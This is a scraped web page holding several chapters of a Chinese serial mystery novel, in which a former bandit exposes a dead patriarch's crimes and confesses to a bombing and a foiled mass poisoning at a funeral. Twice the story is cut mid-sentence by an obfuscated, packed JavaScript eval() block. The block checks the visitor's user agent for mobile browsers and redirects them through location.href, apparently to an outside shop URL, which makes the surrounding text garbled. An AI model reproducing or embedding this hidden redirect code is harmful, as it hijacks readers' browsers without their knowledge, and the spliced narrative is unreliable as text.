“您不是听到什么消息才来的吧？他可有给您去过消息？”贾四一脸为难地看着他，顿了顿，下了决心低地道，“叔，若是别人，这话我可不敢说。可我知道，您是一直照看他母子的，比亲叔还亲的叔，我就……实话跟您说吧。我觉着，他是知道了不该知道的，说不准已经……” “知道了不该知道的……到底什么人的事？” 贾四脱口道：“还能有什么人，黑石堂的呗！” 金三瞳孔大震。 贾四继续道：“您应该也知道，他这人就喜欢小赌一下。他还总说，若是有您在，若他爹还在，这都不是事儿，赌坊还不随他横着走。” 金三心知，坏了，忙问：“这些话，他同谁说过？” “他在赌坊里闹过好多回，都听过。” 金三：“他还说过什么？” “说……您以前就是黑石堂的当家。” 金三叹了口气，只怕已经坏事了。他重重地叹了口气，也不再理会贾四，径直走了。 “茄……叔！”贾四看着他的腿，隐约觉得，好像有点什么不对。 *** 丧事都是不请自来。吊唁之日，往往不少生面孔出现，下人几乎不会多加阻拦。金三轻易便入了曾府。 他进了府，四处转悠，欣赏府内的雕梁画栋，精致庭园，边走边讥诮地笑道：“排场！讲究！小乙，你这辈子可真是值啊！没白活啊！” 转了一圈，走回到前院东侧院，见东南角竹林下有口圆井，雕着蝙蝠纹样。他漫步走过去，伸头往里面看了看，清晰可见人影。 “什么井水清浊看家风，若真如此，那此处不该冒的黑水、泥浆？”金三笑着，在井沿上坐了下来，抬眼又扫视着曾府的层层院落。 一身素服的素娥自廊下走过，见有个衣着寒酸到褴褛的干瘦老头，坐在井边，不时往里看。 瞧他颤颤巍巍的样子，素娥生怕他一个不小心，就倒栽了进去。 她驻足看了两眼，又寻思着，只怕是下人看他这身打扮，不曾招待，连口茶也喝不上，来此处找水喝了。可这井边并没有放桶。 她走上前去，清了清嗓子，沙哑着柔声叫道：“老人家？” 金三回身一看，一眼认出了她，目光闪躲开了。 素娥问：“老人家可是要喝水？” 金三低着头没作声。 “下人们都是用水的时候才提桶过来。老人家，请在这儿稍候一下，我这去取茶水来。” 说完，也不待他答话，转身去了。 等她走远了，金三看了看周围，见没人注意，从袖中掏出了瓷瓶…… *** 日影西挪，竹雨院里，屋内的光影几经变化，孟珂终于醒转了过来。 前几次，说是醒，其实只短暂地恢复一点微弱的意识，勉强喝几口水，便又昏睡了过去。 孟珂在枕上看了看日影，虚弱地问：“这是哪一日了？” “小姐，这都第三日了。”回雪看她脸依然苍白，但这次醒来，看着最凶险的时候应是过了，“你一直反复昏迷、发热，连药都差点灌不进去。” 第三日了？孟珂一点也不觉得饿，心中想的却是，少吃那么多顿饭，倒是省事。 回雪说着，已经招呼五儿端了小火煨着的参汤来。 孟珂看了看，叹了口气，为了这要命的皮囊能动用起来，只当是药，只当喝水，好歹逼自己用了些。 她若不喝，任是听话的回雪，此刻只怕也不会答她问话了。喝了半碗，她才问起正事。 回雪向屋顶一个方向瞄了一眼：“雨歇找到了金三家里的药渣。他一个孤老头子，也没什么收拾，药渣都随手倒在厨房窗外的树底下，都堆成小山了。找可靠的大夫验过了，小姐果然没有料错。” 孟珂道：“那药，甚至他那病，都有问题。有人在逼他行事。” 回雪点头，又道：“好了，小姐先别管这些，躺下歇一歇，我去厨房熬碗白粥来。这都饿几日了，还得要用些五谷杂粮，有些实在的东西，让脾胃重新运化起来。” 内院新来的厨娘翻看着今日采买的菜，就见回雪进厨房来了。 这人大概听过衙门厨娘被赶之事，有那前车之鉴，做得很是尽心。且大人也吩咐过，要精心照顾小姐和身边人。每餐之前，她必定先问过小姐身边人，要吃什么，怎么做，什么口味浓淡。 “姑娘，你来了正好。” 厨娘道，“听说小姐醒了，那我这今日的菜怎么做好？今日的菜都挺新鲜的，瞧这茄（que二声）子多水嫩，是清蒸还是烧……” “瘸子？”回雪一愣，转头看到她手里的茄子，明白过来，笑道，“清淡的吧。” 回雪吩咐熬上白粥，笑着走出厨房：“瘸子、茄子……” 她突然惊觉了什么，忙快步回了竹雨院。 那日，问起张举的那个叔时，贾四说，“他好像说……‘谁能想到，我那茄子叔，竟还是个人物呢！’” “茄子？”回雪和孟珂当时一听就四目相对。这……哪个盗匪叫茄子？往山路上一站，报出这名号，还能好好抢劫？ 既然有茄子，那有土豆吗？一锅烩了，正好出个菜。 回雪当下强忍住了笑意，绷着脸吩咐道：“要尽快查出这……茄子叔的消息。” 回雪一推门，孟珂听到动静就睁了眼。 听回雪一说，她当下恍然，“瘸子！是他！那个多年照顾张举的叔，就是他！” 原来是这贾四说话有口音，瘸子、茄子不分，当时又喝得晕乎乎，对着面前的一盘茄子，便把瘸子记成了茄子。 她知道那金三是石头寨的三当家，但他从没在张举家露过面，张举的话也传成了四当家，一时竟没想到，那人就是他。 孟珂突然想到，不好，张举如今出了事，金三只怕也要算到曾家头上。 “这是出事的……第四日了，曾家的出殡之日可定了？” 他们一则有夭折，二则是凶死，停灵一般不超过三日。 回雪：“定了，正是今日。” 孟珂掀被子就要起来：“赶紧，去曾家。” “小姐，不行啊！” 回雪拦道，“你这才刚醒过来，连东西都不曾吃一口呢！再说，大夫说了，你这病势已成，只怕要反复，甚至恶化……你不能这么折腾！” “顾不了那么多了……” 孟珂一挣扎起来，果然头晕目眩，又坐下了。 回雪眼中含泪，直接便跪下了：“有什么事你吩咐就是，可你现在万万不可折腾！” 孟珂稳了稳，又道：“只怕他急了，要做出什么事来。这事瞬息万变，不是吩咐就行的事，我得亲去。” 回雪知道，小姐决定的事谁也拦不住，只好吩咐五儿：“打包上吃食和药，带上马车。” *** 周冶在回城的半路接到孟珂的传信，忙打马赶了回来，在曾府巷口赶上了衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几个下人尴尬地站在原地，看向了曾铭。 曾铭挥挥手，让人都退下了。 这时，围在门口看热闹的宾客仆从，自觉让出了一条路。 曾铭见是周冶，冲他遥遥点了点头。 孟珂虚弱，也不想引人注意，没往人群里凑，让红荔扶到门廊下美人靠坐下，不远不近地看着。 洗墨因为孟珂硬要出门，要拦拦不住，又怕出事，便只好一起跟来了。此刻见了门槛上喝酒撒疯那人，“咦”了一声，直觉此人有点“面熟”，可自知脸盲，一时也不敢认。 直到看他那几步走，洗墨扭头对着周冶大声叫道：“公子！这人……我认得。” 周冶嫌弃地看了他一眼：“咋咋呼呼什么？” 洗墨直为自己当初的目光如炬而得意：“这正是曾怀义出殡那日，我跟过半日的那个！” 要不是半路被高仲给拦了一手，跟丢了，指不定就让他发现大阴谋，立下大功，得了大赏赐，现在老婆本、棺材本通通都有了。 金三笑了一声，一字一顿地道：“曾怀义？这个义字，他也配！” 他指着洗墨，“我认得你，你跟了我半日的小子，我还以为走不脱了。好在老天有眼，没坏我大事，终让我大仇得报。” 洗墨好笑地道：“你还高兴！不知道杀人偿命？不知道如今落网，定会被判死？没见过你这样没心没肺的！” 金三却很平淡地道，“知道。怎么会不知道？” 他这样的人，杀人，自是要偿命的。 洗墨正要说什么，周冶挥手让他退下，开门见山地问金三道：“曾怀义之死，是不是你做的？” 曾铭震惊地看向金三。 金三却深深地叹了口气，抱憾地道：“我倒是想！可惜晚了一步。得知曾怀义死了的消息，大概没人比我更失望。” 当时，他还只道今生连口气也不能出了。 曾铭刚松了口气，就听周冶又问：“那大栖山上的爆炸，是你所为？” 曾铭目光再次震动，去看那人。 这次，金三没有否认。他带着些意味复杂的笑，点头道，“对！是我。” 突地，瓷器摔碎的声音传来。 众人循声看去，只见素娥的手还保持着端东西的姿态，脚下碎了一地的瓷片…… 63. 门楣 素娥端了茶来，井边却没人了。她一路寻着，听见正堂这边吵吵嚷嚷，便循声过来了，不料却听到这。 金三的目光一对上素娥，飞快地挪开了。 素娥呆立在地，看着金三口中喃喃道：“为什么，为什么？” 金三没有看她，那几声沙哑的质问，声音并不大，不知怎么却穿过众人，直抵他耳中，竟有振聋发聩之感。 恰此时，一声尖叫打破了沉寂。 邵夫人闻迅赶了过来，正好听见周冶问大栖山上的爆炸那句。她一路推开众人，朝金三冲过去：“谁干的？是谁干的！” 等看见金三，邵夫人：“为什么你……” 她顿了一下，脸上有一丝疑惑，随即又是震惊。 金三冷冷地扫了她一眼，笑道：“我！” 邵夫人看看他，又看看灵堂：“立儿有什么错？你……你杀了他，还敢来这儿？” “我怎么不敢来？”金三直视着她，反问道。 他指着堂上，笑道：“我的好兄弟死的时候，我没来！今日，小侄儿和小侄孙这丧事，可不能再错过了！我这个三叔，怎么也得来看看。也好当着侄儿和侄孙的灵位，当着大家伙儿，好好说道说道小乙这辈子的功德！你说对不对啊，嫂夫人？” 邵夫人眼神顿时慌乱了，垂下眼，对周围的下人道：“还不拉下去！让人在这搅乱灵堂！你们都是吃干饭的？” 这些日子以来，曾铭接管了府中，也严惩过几个不听话的立威。下人看了看曾铭，又看了看邵夫人，一时都没动。 邵夫人这才发现儿子也在旁边，也依然明白自己指使不动人了。她怨毒地瞪着曾铭一眼，转而看向了周冶。 “周大人，杀我儿的凶手就在这儿，也承认了，你还不将人抓了！留他在此继续捣乱吗？” 周冶道：“夫人莫急。他又没跑，你方才不是也问，他为何要谋害你儿子吗？我们且听他说说。” 见此，金三大笑了起来，抬手又喝了几大口，将空了的酒壶往地上一砸，站起身来，当中门站着，就像个人形的枯木杈子，却目光矍矍，声如洪钟。 他指着灵堂上的牌位，笑问：“曾家，什么曾家，哪里来的曾家？这曾家的门楣、荣耀，就是个天大的笑话！” 宾客和下人都不明所以，不知他什么意思。 金三却笑着看邵夫人：“别人不知道，嫂子你不会不知道吧？” 看着邵夫人的脸色，金三大笑了半晌，好不容易才止住了，说道：“是，他是出息了！出头了！出了大头。可为了这，他连自己祖宗都丢了！曾家列祖列宗，与你们……有半文钱关系么？” 他看着堂上，后仰身子笑道：“逢年过节祭拜祖先的时候，也不知堂上来的是曾家，还是甄家祖宗？这两家的祖宗，会不会为了争供奉，吵嘴打架啊？” 众人不由惊呼，居然……不姓曾！曾怀义竟然是这般忘祖之辈…… 金三扫了众人一圈，满意地道：“他上落乌岭，进我们寨子那年，是十……三岁。那时候，他还姓甄，叫小乙。对吧，嫂子？” 众人嘀咕道，原来姓甄！落乌岭的寨子？那不是盗匪山寨吗？这曾……怀义，竟是盗匪出身？ 金三每提一次嫂子，众人都要随之看邵夫人一眼，她的脸色已经比乌云还黑了。 *** 回想起往日时光，金三脸上虽带着讥诮，但目光还是明显柔和了些许。 “小乙进寨子的时候，兄弟们瞧他年纪小，都把他当自家弟弟看，多少都有些偏宠。他又会来事，没多久就跟兄弟们混得亲熟了。但最疼他的，还属汪寨主。” “汪寨主之下，是赖二哥，我金三儿，尹四弟最末。只两三年功夫，我们石头寨，除了这四个当家，就是小乙最大了。他那时也才十五六岁。” 居然真叫石头寨，周冶一听，心下笑道，民间取名字还真是直白而形象，当时去救樊仲荣，还以为是那小叫花随口叫的。 忆起往事，金三的笑里苦乐参半，还夹杂着对往昔峥嵘岁月的怀念。 那时候，寨里的兄弟们有肉一起吃，有酒一起喝。干的虽是劫道的营生，但盗亦有道，劫的都是富户商贾，从不打贫苦人的主意……兄弟们出来混，靠的就是一个义字！ “可是，小乙他……终非池中之物啊！” “从他走进石头寨那天，我们寨子和寨中所有人的命运，都开始改变了。不，都走上了一条死路！” 最后一句，金三是咬着后槽牙说的。 底下不知谁在说，对啊，这落乌岭石头寨当初可是风光过好一阵子，三州之地当属第一，后来也说没就没了，都只当是剿匪给剿灭的。可听这人的意思，却是另有缘故了。 金三道：“小乙的脑子灵，主意多。他竟然说服了汪寨主，只劫财不杀羊，甚至找了条收来往商户供奉的路子，定期如数奉上，咱们不涉险，商户也出小钱保平安，两相安生。他给寨子找了这条稳定的财路，弟兄们都服气，也成了默认的五当家。” “没想到，搞定商贾不算，他居然还能跟衙门搭上线，借用官兵的力量剿灭了不少对家。我们寨子吸纳那些散落的人，一天天坐大了起来。” 周冶看向了孟珂，这同她早前说的小伙计的故事，倒是对上了。她坐在廊下的美人靠上，背靠柱子，隔着帷帽，看不见脸色，但瞧她的样子也还是很虚弱。就这样还硬撑着来，就这么不舍得错过曾家的好戏？ 金三又道：“小乙的计策一条接一条，还一条比一条高妙。他又献计说，落草为寇，始终不是长久之计。朝廷剿匪之心坚绝，咱们又日益坐大。实力越大，就越危险，于是游说兄弟们进城。” “这会儿，寨子势头大好，要弃寨而走，大伙儿自然不愿。再说，进城了干什么吃，不就是没活路才上山的？一上了山，又哪里还有退路？小乙主动请缨，愿为先锋，去给兄弟们另寻生路。” 听到这儿，连周冶也不得不感叹，这曾怀义的脑子是有点东西。 可是，一个大字不识的流民之子，一个山寨里长大的小盗匪，能又这般见识、胆略，属实有点超乎寻常了。 “小乙毕竟办成了几件看起来不可能的事，大伙儿都是亲眼看着的。最终，汪寨主折了个中，给了他一笔银子，又给了他一些最年轻的、脸生的兄弟，让他进城去。” “就这样，他们进城改换了营生，开赌场、花楼、当铺，放印子钱……年尾一算账，可比劫道来钱多多了！兄弟们发现，还真有不用天天刀口舔血的生路。寨主高兴之余，也彻底放了心，将寨中的大半金银都交给他，给了他更多人，让他尽管放手去干。” 周冶刚才就觉得不对，这下更觉得蹊跷了。即便这时候的曾怀义手头有钱，也有人，可城里做赌场、印子钱生意的，谁不是有钱、有人，还有极熟的人头。他进了城，哪能说做就立刻做起来？一出手就抢了人端了多少年的饭碗，还大赚特赚？ 但金三显然想不到这些，说起这些事，他口中也还带着佩服：“城里的生意越来越多，越来越成气候。寨子也就真的可有可无了。” 这石头寨，莫非就是如今的黑石堂？好家伙！周冶吁出一口气来。从劫道的盗匪，成了一股更隐秘、更安全，也更长远的势力，自此以后，其黑其恶，哪是盗匪可及？ 周冶心中的疑问也越来越大——这些真是他曾怀义一个人能想到并做到的？ 周冶道：“既如此，他也算带着你们寨子的人，过得更好了。你何故恨他至此，甚至连他儿孙的命也不放过？” 金三竟点了点头，笑道：“是啊，他若是带着兄弟们过上了好日子，又哪来的仇怨？” “一开始，看着周围的寨子整日杀人越货，被官府一个个剿了，大伙都夸他有先见之明。后来，他又带着让弟兄们都进了城，有了更赚钱的营生，在官府剿灭之前，换了船。大伙儿都感激他，没想到这辈子还有下山，重新做人的机会，没想到还能让自己的父母妻儿，过上好日子。” “这一切都是小乙的功劳。汪寨主知道，不管是自己，还是自己儿子，都撑不起这个摊子，有心要把一切都交给小乙。这也是众望所归。兄弟们都指望他能带着大伙过得更好。” “这年除夕，兄弟们在黑石堂的总堂里吃年夜饭。乘着欢聚一堂，寨主当众宣布了此事。谁想，小乙百般推拒，说是汪老寨主用人有方，是寨子出钱出人，所有一切都是大伙一起干出来的，功劳不是他一个人的。何况他资历浅，上头这么多当家，怎么也轮不到他。当时，我们都以为他够有情义，毫不居功。可很多人大概至死也没想到……” 金三顿了顿，讥笑道，“他这么做，只因早就有了另外的盘算。” “我酒喝多了，寨主派银子的时候，忍不住去了个茅房。回来的时候却发现门打不开了。” 当时，里面乱乱嚷嚷，烟火弥漫，他发现脚下流出了火油，火也立马窜了出来…… “他乘所有人都在的时候，一把大火将总堂烧成了一片焦土，寨中元老兄弟们，尽数惨死其中。” 多年过去，那些画面在他脑中清晰如昨。半晌，他看了自己的腿一眼，“自那日起，我每走一步路，都在提醒我那些惨死的兄弟。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999160|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你怎么知道是他？”周冶问。 “我不知道！”金三摇起了头，好笑道，“是他自己说的，哈哈哈哈哈——” *** 金三笑完了，继续说道：“我还傻傻地以为，他也跟大伙一起死在里面了。” 当时，他拖着断腿逃出火场，在旁边的林子里坐着，等火势退去，想回去给弟兄们收敛尸骨，刚走出林子就远远地看到了曾怀义，高兴得就要叫出来，却发现有什么不对。 他身后带着一批人，正吩咐着什么，脸上没有一点悲痛之色，甚至还带着功成的满意。 金三忙躲了起来，看着曾怀义带来的人收敛尸骨，清点人数。他看了一下，这些都是“没资格”参加前晚夜宴的，都是他进城后亲自收拢的手下。 “就这样，石头寨和寨里的人都没了，而黑石堂，成了他曾怀义一个人的。甄乙这个人也随之消失了。没人知道他的盗匪过往——其他寨子，早在之前就先被剿灭了。” “让我意外的是，他没有当堂主，而是推了个人当门面。那时我还不知道，因为他已经有了更好的出路，借着剿匪之功，换了身份洗白上岸了。” 金三叹道，“我知道他多厉害，也知道自己多无用，知道自己无论如何也……斗不过他。我唯一能做的，就是每年给那些死去的兄弟们烧一柱香，就是照顾照顾他们留下的孤儿寡母。” 这些年，他就是挣钱，给他们送钱，只此一件大事。 “如今，兄弟们的父母都走完了，孩子们也都大了，我……也活到头了。我就想着，最后怎么也要拼死拉他陪葬。谁知竟晚了一步，他竟然走在了我前头！”金三摇着头，笑道，“等了这么多年，连个报仇的机会也不给我！我不甘心！” 金三叹了口气，“他一个娈/童，大家同情他，也真心喜欢他，当弟弟一样格外怜惜，百般照顾他。他若是不自愿，要对老寨主一个人下手也罢了……他却……让每个对他好过的人都那般惨死！再说了，他那样聪明的人，若不愿，谁逼得了他？能没办法逃？” “做了这样的事，他还活得如此风光，还子孙满堂，凭什么？凭他心肠黑，凭他够无耻，从良心到屁股……什么都能卖？” 娈/童二字一出，众人已经惊了，目光不由都变得怪异了起来，不约而同地看向了邵夫人和曾铭。 曾铭一副早就放弃的模样，邵夫人早就面僵如石…… 帷帽底下，孟珂冷笑了笑。 对曾怀义那样的人来说，能走到这一步，还真得是机会主义者，还真得足够无耻，足够好运。对他来说，底线是什么东西？ 眼看着故事都说完了，侍剑却还没过来，周冶有点着急了。他慢慢询问，听金三说故事，就是为了拖时间，好让侍剑在曾府上下排查问题。可这么久了还没发现问题？ 周冶道：“终究也是他做的事，不关儿孙的事。” 金三怒道：“那我们死了的兄弟们，孤儿寡母们，谁又欠他甄小乙了？” 这时，人群中不知谁道，“报官啊！” 金三大笑，“让我瞧瞧，说这话的是谁？怎么还有这么天真可爱的人？我亲眼看着最大的盗匪、杀人凶手，摇身一变成了官老爷，你让我去报官？” 那人道，“可这是两条无辜的人命！” 金三道：“他欠了我们多少条命？我才拿了几条？” “他若欠了你五条命，你也要拿回五条，才算扯平吗？” “不！当然不算！” 金三厉声道，“以牙还牙，以血还血，那是他罪有应得。可那些死的人依然活不过来了，那些破了家也圆不回来了，一切都没有改变！这一笔要怎么算？” 这些年，这些话，他一直憋着，找不到人，也找不到机会说。没想到，今日当众说出来，竟如此畅快。 侍剑四处查看，没发现什么异常，倒是撞见了雨歇。马车一入巷子，雨歇也越墙而入，自去查看了。 见雨歇冷冷地扫了他一眼，侍剑愣愣地看了看她，也没搭腔，还没走到前院，她就不见了。 侍剑冲周冶摇了摇头。周冶心下更疑惑了，金三今日来，总不会真就为了说说故事吧？他不由去看孟珂，可隔着帷帽，什么也看不见。 金三长舒了一口气，转向周冶，笑道：“大人，就是我干的，要杀要剐，都没所谓。哪怕到了阎罗殿，也判我下地狱，煎油锅，我也甘愿！” 说完，他拇指轻轻一弹开，一仰脖子，喝了什么。 一饮而尽的时候，他眼角扫着周冶，露出个笑来。 这一趟来，他就没想过要活着走出去。 64. 药丸 众人这才发现，金三手中不知何时多了个瓷瓶，料想那其中就不可能是什么好东西，见他抬手要饮，都惊呼一声。 周冶脚下踢起一粒石子，抓在手中，正要扔去打落，但终究还是慢了一步，眼睁睁看着那瓶中液体入喉。 金三将瓶子随手一抛，笑道：“有本事，便从奈何桥上，把我拽回来。” 他又往门槛上一坐，坐等毒发，可等了半晌，却什么反应都没有，不由越来越躁动，低下头开始在众人脚下寻那瓶子。 众人也跟着寻起来，一个宾客随手捡起，嗅了嗅：“这什么味道？” 旁边那人接过手来闻了闻，啧了一声，“好像有点……熟悉，但一时也想不起来。” 瓶子被周围人争相传了起来，有些人明明半点头绪也没，也煞有介事地跟着说：“是熟。” “不用闻了。不过是寻常的药，吃不死人的……” 众人循声看去，见廊下坐着个年轻女子，戴着帷帽，声音漂浮，中气不足，一句话停了三回。 金三却一眼看见这女子身后一闪而过的雨歇，心中一动，那不是路上撞到过他的姑娘？难道……药在那时候就被她调包了？ 他惊了片刻，随即却笑了，双手握拳一并，淡然地朝官差一伸。 旁人却不知，他为何突然就放弃了。雨歇在人群后闪过，周冶却看见了，他看向了孟珂——她此来，还不是看热闹的。 见金三这样配合，上铐的官差动作也放得轻柔。按他们这位公子县令的作派，加班有赏，办成了大案更有赏。可今日听了这一耳朵旧事，谁也没有往常破案的那种高兴。 两个官差押着金三，开始往外走去。 周围人却突然开始骚动起来，有人捂着胸口，有人弯下了腰，开始有人口吐白沫…… 见此，金三顿时愣怔在地，一时也糊涂了。他方才在井边转了几圈，终究没有投下去。何况这药早被那姑娘调包了，自己喝了不就没事？ 他慌忙四下去看，人群中果然有个熟悉的人影飞快闪过。金三惊得张了张口，却将话头生生咽了下去。 人群中出现症状的人越来越多，看着像是中毒。曾铭已经唤了人去请大夫，但也不知来不来得及了，未必就能查出所中之毒，更别提及时给这么多人解读了。 他这一日忙得团团转，才去查看了墓地回来，水都没来得及喝一口，这会儿倒是没事。但邵夫人已经呕得面无人色。 这时，素娥疑惑地拿出了一粒药丸。 她端茶回来，在井边没见到老人，却见他方才坐的井沿上放着一粒丸药。她怕这掉的是救命的药，便先替他收着，想找到人再还。 如今见金三喝了没事，周围人却个个腹痛难忍，心道，难道……这是解药？ 她犹疑着走到了孟珂面前。 虽隔着帷帽，素娥却一眼认出了她腕上的手镯——那日孟珂替她上药的时候，那镯子就一直在她眼前晃着。 既然孟珂戴着帷帽，想是有所不便，她也并不戳破身份，将药丸拿给孟珂道：“这位小姐，想是懂些医药的？这是方才那个老者的，你们看看会不会是解药？” 说着，看了一眼邵夫人，“若真是解药，可给……夫人先服用？” 孟珂也算久病成医，一看便认出那是颗解毒的药丸，又细细问了此药如何得来，心知应该就是了。她看向被押着的金三，他出于对素娥的歉疚也好，感激她的善心也罢，给她留下了一粒以备不虞的解药…… “这药给邵夫人，那你自己怎么办？” 素娥道：“无妨，我水米未进，怎么也中不了毒。” 说着，转脸看向邵夫人，“若是这药没有问题，就给她吧。” 红荔不解道：“小姐，咱们不是……” “扶我起来。”孟珂打断了她，一个眼神，阻止了她继续说下去。 *** 邵夫人已经无力地倒在地上，孟珂吃力地慢慢走过去，低头看着她，说道：“这唯一的一颗解毒丸，是素娥的。你若敢吃，便依她所言，给你。” 孟珂的声音异常虚弱，邵夫人一时竟也没听出她是谁。 邵夫人看了看她，又看了看素娥，疑道：“她有这么好心？” “寻常人自然没这份好心！药是她的，我不过代她问你一声。” 孟珂收起药来，“我已经问过了，是你自己不想要。走！” 说着，转身就走。 “等等！”邵夫人的声音不自觉地低了下去，“我要。” 孟珂把玩着手中药丸：“她跟你什么关系，值得把这唯一的救命药丸，给你？” “她是我……曾家……大儿媳。” “好！”孟珂一拍手，笑出了声。 “我不是什么曾家儿媳！” 素娥走近了几步，转头看了灵堂一眼，“今日一过，我跟曾家再无瓜葛。送他们父子上了坟山，我再不会踏进这曾府一步。” 孟珂隔着帷帽，看着素娥，欣慰地笑了笑。 两人说话之时，邵夫人的目光一直死死地盯着那药丸。见孟珂两根手指拈着那药丸，转来转去地看着，半晌也不说话，好像在思考到底要不要给自己。她的一颗心也在这人手中拈来搓去似的。 她越来越难受，再看周围，已经有人在呕血，心下也越来越急：“她既然说了给我，小姐何故…..” 那小姐轻轻叹了口气，冷笑了一声。眼看她将那药丸，就要放入自己丫头长明手中，可就在她要撒手的瞬间，突地又收了回去。 邵夫人急道：“我已经认了她了，是她自己不要的！” “没说不给你！” 孟珂笑着看她，抬手轻轻一掷，将那药丸扔了出去。 旁边早有人觊觎，早就想抢，只是见下人都在，怕抢不过。这时见药丸被扔了，觉得机会来了，便追上去要抢。 邵夫人也不知突然哪来了神力，在地上快速匍匐而上，如饿虎扑食般扑了上去，掀开旁边几人，一把将药丸抓起来，都没来得及擦擦，便头一仰吞了。 就在这时，不知谁惊呼一声，“大夫来了！” 众人齐刷刷看去，果然，见一个小童提着药箱进来，大夫随后而至。救星到了，众人都松了口气。 邵夫人见不是曾府寻常请的大夫，再一看好多个大夫带着人，搬着药，鱼贯而入，抬头看向孟珂：“你……” 孟珂由红荔扶着往廊下走，闻声微微回过头来，对着邵夫人，笑了。一阵轻风，掀开帷帽，邵夫人仿佛瞥见是熹园那位。 孟珂的人一直跟着金三，看到了面摊交药的一幕。等金三从张举家出来，雨歇便在途中乘机掉包了毒药，也传了信去请大夫。她本想乘机逼一逼邵夫人，让她给素娥一个名分，没想到，素娥已经想通了，今日离了这个虎狼窝，从此天宽地阔。 刚走出几步，她就觉得头晕目眩，心道，刚苏醒就来这样一遭，属实是托大了。 这时，一只有力的手扶了上来。 她转头去看，见是曾铭，嘴唇翕动了一下，没来得及说什么，便眼前一黑，彻底晕了过去。 她身子一软的时候，周冶就看见了。可他站得远了些，疾步冲上去，还是晚了一步，曾铭已经揽住了她。 周冶心中惊道，就这样，曾铭也能一眼认出她来！ “还是交给我吧，”周冶走过去，扫视周围道，“府上今日事多，怕是照顾不过来。” 这话确实没错。曾铭苦笑了笑，点点头，小心地将怀中之人，移交给了周冶。 周冶娴熟地拦腰将她抱起，在众目睽睽之下，出府而去。 一上马车，见里面摆满了吃食，小炉子上还正煨着药。 回雪坐在里面，见周冶抱小姐进来，一脸意外的样子，无奈地笑道：“小姐刚刚醒来，连东西也不曾吃一口，就强撑着赶过来了。” 周冶不由又看向再次陷入昏迷的孟珂。她要干的明明是复仇的事，怎么倒处处扑火，时时救人了，而自己之前还…… 今日，要不是得了她的通知，他不会那么及时赶到曾府。若不是她事先让人换了药，那金三就当场毒发而死了。若不是她还料到了背后之人有后招，另备了一手，叫了那么多大夫，带足了解毒之药，及时到场救治，曾府今日怕是要死上一片了。 想到此，他心下愧悔越深，看着她虚弱的模样，心下也越难受。 回了县衙，周冶又一路将她抱入卧房，看着大夫诊治开方，亲自照料。 *** “可恶！这次明明可以看着曾家满门皆灭，竟被这周冶坏了好事！” 梁夫人怒不可遏，却又疑惑，“他到底什么时候察觉了此事？他怎么能那么快叫到大夫，还能及时配出解药救治？难道那金三……泄露了此事？” 想想又觉得不对，“若真是他，周冶怎会还容他去闹这一场，当众拿了他，又怎会让曾府空门大开，让我们有机会再下手……” 孙九爷哼笑一声道：“周大人今日可是出尽了风头！他不只搅了我们的好事，耍了好大一场威风，当众拿了烟火案的真凶，还风流了一把——当众抱了个美人回去！” “我也听说了。”梁夫人疑惑道，“那女子到底是何方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999161|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神圣？前几日就传，说他坐牛车带了个乡下丫头入府，没想到竟是真的。” 孙九爷“嘁”了一声：“谁知道是哪片山的野凤凰呢！男人嘛……” 说着，他看了梁夫人一眼，收住了后头的话。 梁夫人轻笑一声：“这些纨绔子弟也是荒唐得可笑！瞧够了名门淑女，倒是对乡野山鸡新鲜上了。我说他周冶多清贵呢，来这绥陵，虽也结交舞乐妓者，诗酒风流的，却也不见对谁上过心。结果，也不过如此。他也就是好的，跟旁人不一样罢了。” 孙九爷看了梁夫人一眼，没说话——在她心中，但凡对她不上心的男人，自然多少都是有些眼神不正常的。 文人相轻，美人也相轻，梁夫人也不例外。她似不经意地道：“那女子到底长什么样，可有多貌美，多脱俗出尘？” “也没人瞧真切，戴了帷帽，倒是一副病西施的模样，说话娇娇弱弱，还动不动就晕的，特别可人……厌的样子。” 梁夫人冷哼一声：“罢了，那都是些无用的闲话。” 她的语气沉了下来，“现如今，刘昆已经暴露，那便……留不得了！” “他……”孙九爷本想说，刘昆有几分本事，没那么容易被抓；即便被抓，以他的忠心，也不会卖主。但这些年了，她的性子，他如何不知？反正无用，不提也罢，只是可惜了了刘昆。 梁夫人见他终究是应了，他面上那些纠结，便只当没看见。 *** 周冶一直守在孟珂榻旁，待她好歹醒了过来，喂进了药，才顾得上去审金三。 进了大牢，见金三被绑上了审讯架。周冶呼吸一滞，忙挥手道：“放下来，谁让绑的？他这……” 这么大年纪了。况且，他这样的人，根本用不着刑讯。他不只让人放了金三下来，甚至让人端了一把椅子给他坐。 金三只瞥了他一眼，也不客气，说坐就坐下了，也没言语一声。 周冶心下觉得可怜又好笑，这人大概在衙门里，就没有过什么好遭遇，一身的敌意。 他也坐了下来，慢悠悠地倒了一杯茶，先推给金三，又给自己倒了一杯。 金三也不客气地喝了。 喝了两盏茶，周冶就像在茶馆闲聊一样，淡淡地提道：“你是说，这一切都是你一个人做的。没有人帮你？” 金三也淡淡的，甚至都没看他：“没有。就我一人。” 他的杯子空了，大喇喇地往周冶面前一推，周冶也配合地给他满上。 